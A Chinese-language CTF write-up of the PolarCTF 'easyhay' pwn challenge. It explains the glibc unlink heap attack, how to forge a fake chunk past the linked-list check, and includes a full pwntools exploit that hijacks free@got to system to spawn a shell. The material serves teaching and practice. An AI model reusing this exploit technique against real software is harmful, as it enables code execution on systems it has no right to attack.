0x00 前言:

堆学习之路还在继续,上周末打了ACTF,被几道Pwn题吓死了,上来就是IO、内核。唉,所以还是继续慢慢往上爬吧,希望总有一天能解出XCTF联赛的Pwn题

0x01 分析:

一道用来熟悉 unlink 的题目,题目是来自[PolarD&N].(https://polarctf.com/#/page/challenges)的**easyhay**。
Checksec 一下:

Arch:       amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x3ff000)
RUNPATH: b'/home/link/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/'
Stripped: No

Patch 过了,值得注意的是没开 pie,这对我们 unlink 攻击起到了关键的作用,ida 启动

以为是unosrted bin attack?

经典菜单堆,看到 v3 == 4869 这个分支,先跟进一下 l33t();
看到这里,我下意识以为又是一道 unosrted bin attack,结果照着思路把 exp 搓出来之后发现:
确实能走到这个分支,但是被摆了一道。

老实学unlink吧^^

看完官方 wp 才知道,原来是要打 unlink,首先得知道 unlink 是什么,有什么用。简单来说就是 free 掉当前 chunk 的时候和目前物理相邻的 free chunk 进行合并,简单示意图如下:
这里描述可能不太清晰,可以大概看一下源码,这里就直接偷星盟的 PWN 课里的了(懒得找)

/*malloc.c int_free函数中*/
/*这里p指向当前malloc_chunk结构体*/
if(!prev_inuse(p)){
prevsize=p->prev_size;
size+=prevsize;
//修改当前chunk的指针,指向前一个chunk。
p=chunk_at_offset(p,-((long)prevsize));
unlink(p,bck,fwd);
}

这一段的意思是,若检测到 p(也就是被 free 的 chunk)的 prev_inuse 位为 0,也就是当前 chunk 的前一个 chunk 是空闲状态(被 free),则进行操作:

  1. presize 变量储存前一个空闲堆块的 presize
  2. size 变量变为当前 chunk 的 size 加上前一个空闲 chunk 的 size
  3. 修改指向当前 chunk 的指针,利用 presize 去寻找前一个 chunk 的位置
  4. 进行 unlink 操作
    简单画个示意图:
    经过上面的操作会变成:
    然后就是进入 unlink 操作,来看看源码
//相关函数说明:
#define chunk_at_offset(p,s) ((mchunkptr)(((char*) (p))+(s)))
/*unlink操作的实质就是:将P所指向的chunk从双向链表中移除,这里BK与FD用作临时变量*/
#define unlink(P,BK,FD){
FD = P -> fd;
BK = P -> bk;
if(__builtin_expect(FD->bk!=P||BK->fd!=P,0))
malloc_printerr(check_action,"corrupted double-linked list",P,AV);
FD-> bk = BK;
BK-> fd = FD;
...
}

值得注意的是,这里的 FDBK 都是临时变量,中间还有一段检测。接下来详细说明一下 unlink 攻击是如何发挥作用的以及如何绕过 unlink 的检测

还有检测?绕一下

首先伪造一下 fake chunk, 注意这里的 fakechunk 可以是在一个正常的chunk 中所伪造出来的,例如:

fake_chunk = 0x0000000006020E0
P_fd = chunk - 0x18 = 0x6020c8
P_bk = chunk - 0x10 = 0x6020c0

这里 fake chunk 的选择是比较关键的,必须是选择在程序中存储堆块的一段内存,例如在这道题的创建堆块的函数这里:
显然 heaparray 的作用就是用来管理堆块的。
然后我们将这些伪造的值代入到源码中来看一下

#define unlink(P,BK,FD){
FD = P -> fd; // FD = 0x6020c8
BK = P -> bk; // BK = 0x6020c0
if(__builtin_expect(FD->bk!=P||BK->fd!=P,0))
malloc_printerr(check_action,"corrupted double-linked list",P,AV);
// FD->bk = *(FD+0X18) = *(fake_chunk) = *(0x6020E0) = P
// BK->fd = *(BK+0X10) = *(fake_chunk) = *(0x6020E0) = P
FD-> bk = BK;
// *(FD+0X18) -> *(6020E0) = 0x6020c0
BK-> fd = FD;
// *(BK+0X10) -> *(6020E0) = 0x6020c8
...
}

简单解释一下绕过检测这里:

  • FD->bk 的寻找方式是直接通过 FD + 0x18 来找到的,同理 BK->fd 也是。
  • 这是因为 chunk 的结构就是这样 pre_szie, size, fd, bk,系统会直接通过指向 chunk 头的指针加上特定的偏移来寻找对应的结构,P+0x8 就是 size,+0x10 就是 fd
    因为经过我们的伪造,选取了特定的位置来作为 P,此时 0x6020E0 就是题目中的 heaparray[0],也就是用于管理堆块的内存,同时这个位置上存放了一个堆块的指针,也就是 P
    这样我们便绕过了 unlink 的检测,后面就是一个赋值的操作:
FD-> bk = BK;
// *(FD+0X18) -> *(6020E0) = 0x6020c0
BK-> fd = FD;
// *(BK+0X10) -> *(6020E0) = 0x6020c8

简单来说就是 heaparray 这里被赋值成了 0x6020c8 ,也就是 heaparray - 0x18。那么在程序中如果进入了堆编辑功能的这个分支:
它是通过 heaparray 来寻找堆块的,我们刚刚已经把 heaparray[0] 改变成了 heaparray - 0x18,那么系统就会将 heaparray - 0x18 当成一个堆块,往上面写数据,如果我们再随便申请一个堆块,通过对 heaparray[0] 的编辑,再将后续堆块的地址修改为 got 表之类的地方,就能实现劫持 GOT 。

EXPEXP

这就是 unlink 攻击能起到的作用,理清了思路,跟着 exp 来一遍:

malloc(0x20,b'aaaa')
malloc(0x80,b'aaaa')
malloc(0x18,b'/bin/sh\x00')

首先是申请 3 个堆块,最后一个堆块用于隔断 top chunk,并且提前写入 /bin/sh\x00,因为我们的目标是劫持 free@got, 将其改为 system
然后对 chunk 0 写入我们伪造的 fake chunk,因为编辑函数没有检测写入内容的大小,可以堆溢出,我们就可以很方便的设置 chunk 1 中的 pre_sizesize 位的 preinuse

fd = 0x0000000006020E0 - 0x18
bk = 0x0000000006020E0 - 0x10
payload=flat(0,0x21,fd,bk,0x20,0x90)
edit(0,payload)

接下来 free 掉 chunk 1,回顾 unlink 的操作,我们把 heaparray[0] 的修改成了 heaparray - 0x18:

free(1)

效果: 接下来对 heaparry[1] 的位置写入 free@got,然后 free 掉内容为 /bin/sh\x00 的堆块即可 getshell。

0X02 EXP:

from pwn import *
from ctypes import *
from struct import pack

context.arch='amd64'
context.os = 'linux'
context.log_level = 'debug'
file='/mnt/c/Users/Z2023/Desktop/easyhay'
elf=ELF(file)

choice = 0x00
if choice:
port= 2072
polar='1.95.36.136'
nss='node5.anna.nssctf.cn'
buu='node5.buuoj.cn'
local='127.0.0.1'
kap0k='ctf.kap0k.top'
ucsc='39.107.58.236'
p = remote(polar,port)
else:
p = process(file)

s = lambda data :p.send(data)
sl = lambda data :p.sendline(data)
sa = lambda x,data :p.sendafter(x, data)
sla = lambda x,data :p.sendlineafter(x, data)
r = lambda num=4096 :p.recv(num)
rl = lambda num=4096 :p.recvline(num)
ru = lambda x :p.recvuntil(x)
itr = lambda :p.interactive()
uu32 = lambda data :u32(data.ljust(4,b'\x00'))
uu64 = lambda data :u64(data.ljust(8,b'\x00'))
uru64 = lambda :uu64(ru('\x7f')[-6:])
leak = lambda name :log.success('{} = {}'.format(name, hex(eval(name))))
libc_os = lambda x :libc_base + x
libc_sym = lambda x :libc_os(libc.sym[x])
def get_sb():
return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))

def debug(cmd=''):
if choice==1:
return
# gdb.attach(p,cmd)
gdb.attach(p,'b *0x400ca2')

def malloc(size,content):
sla('Your choice :',b'1')
sla('Size of Heap : ',str(size))
sla('Content of heap:',content)

def free(index):
sla('Your choice :',b'3')
sla('Index :',str(index))

def edit(index,content):
sla('Your choice :',b'2')
sla('Index :',str(index))
sla('Size of Heap : ',str(len(content)))
sla('Content of heap : ',content)

debug()
malloc(0x20,b'aaaa')
malloc(0x80,b'aaaa')
malloc(0x18,b'/bin/sh\x00')

fd = 0x0000000006020E0 - 0x18
bk = 0x0000000006020E0 - 0x10
payload=flat(0,0x21,fd,bk,0x20,0x90)
edit(0,payload)

free(1)

payload=b'a'*0x18 + p64(fd) + p64(elf.got['free'])
edit(0,payload)

edit(1,p64(elf.plt['system']))
free(2)

itr()